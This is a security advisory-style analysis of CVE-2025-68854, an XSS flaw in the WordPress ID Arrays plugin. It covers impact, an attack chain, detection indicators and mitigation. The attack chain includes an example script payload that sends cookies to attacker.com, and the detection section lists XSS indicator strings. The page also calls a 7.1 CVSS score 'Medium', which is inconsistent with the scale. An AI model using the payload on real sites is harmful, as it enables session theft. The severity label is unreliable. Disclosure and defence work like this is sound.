CVE-2025-68854: 
WordPress vulnerability analysis and mitigation

CVE-2025-68854 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ID Arrays by harman79, affecting all versions up to and including 2.1.2. The vulnerability stems from improper neutralization of input during web page generation (CWE-79) and can be triggered without authentication, though it requires user interaction. It was reported by security researcher Skalucy on November 19, 2025, and published by Patchstack on January 29, 2026. The CVSS v3.1 base score is 7.1 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a DOM-Based XSS, specifically triggered via crafted POST-based requests (reflected). The plugin fails to properly sanitize or encode user-supplied input before rendering it in the browser's DOM, allowing an attacker to inject arbitrary JavaScript. Exploitation requires no privileges on the WordPress site but does require a victim user (e.g., an administrator) to interact with a malicious link or page. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and execute malicious scripts in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other users or site functionality (Patchstack).

No active in-the-wild exploitation has been confirmed, and no exploit kit integration has been reported. The EPSS score is approximately 0.029% (0.000290), indicating a low current probability of exploitation. No CVE status has been finalized and no CISA KEV listing exists. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the ID Arrays plugin version ≤ 2.1.2 using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
2. Craft malicious payload: Construct a POST-based HTTP request containing a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting the vulnerable input parameter in the ID Arrays plugin.
3. Deliver the payload: Lure a privileged WordPress user (e.g., administrator) into clicking a crafted link or visiting a page that triggers the malicious POST request — for example, via phishing email or a malicious third-party site.
4. Execute malicious script: When the victim's browser processes the response, the injected script executes in their session context, enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack).

• Network: Unusual POST requests to WordPress pages associated with the ID Arrays plugin containing encoded JavaScript payloads (e.g., <script>, onerror=, javascript:) in parameter values; outbound requests from victim browsers to unknown external domains shortly after interacting with plugin-related pages.
• Logs: WordPress or web server access logs showing POST requests with suspicious script-like content in query strings or body parameters targeting ID Arrays plugin endpoints.
• File System: Unexpected modifications to WordPress theme or plugin files that could indicate follow-on compromise after session hijacking.
• Process/Behavior: Unusual admin-level actions (new user creation, plugin installation, settings changes) in WordPress audit logs occurring without corresponding legitimate administrator activity.

As of the publication date, no official patch is available from the plugin developer for ID Arrays. Patchstack has issued a virtual patch (mitigation rule) for Patchstack-protected sites to block exploitation attempts until an official fix is released. Site administrators are advised to deactivate and remove the ID Arrays plugin until a patched version is available. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure (Patchstack).

Patchstack, which discovered and disclosed the vulnerability through researcher Skalucy, flagged it as a medium-priority issue with potential for mass exploitation campaigns targeting WordPress sites. Wordfence's weekly WordPress vulnerability report for the period of January 26–February 1, 2026 also referenced this vulnerability. No significant broader media coverage or notable social media discussion has been identified beyond these security vendor reports (Patchstack, Wordfence Blog).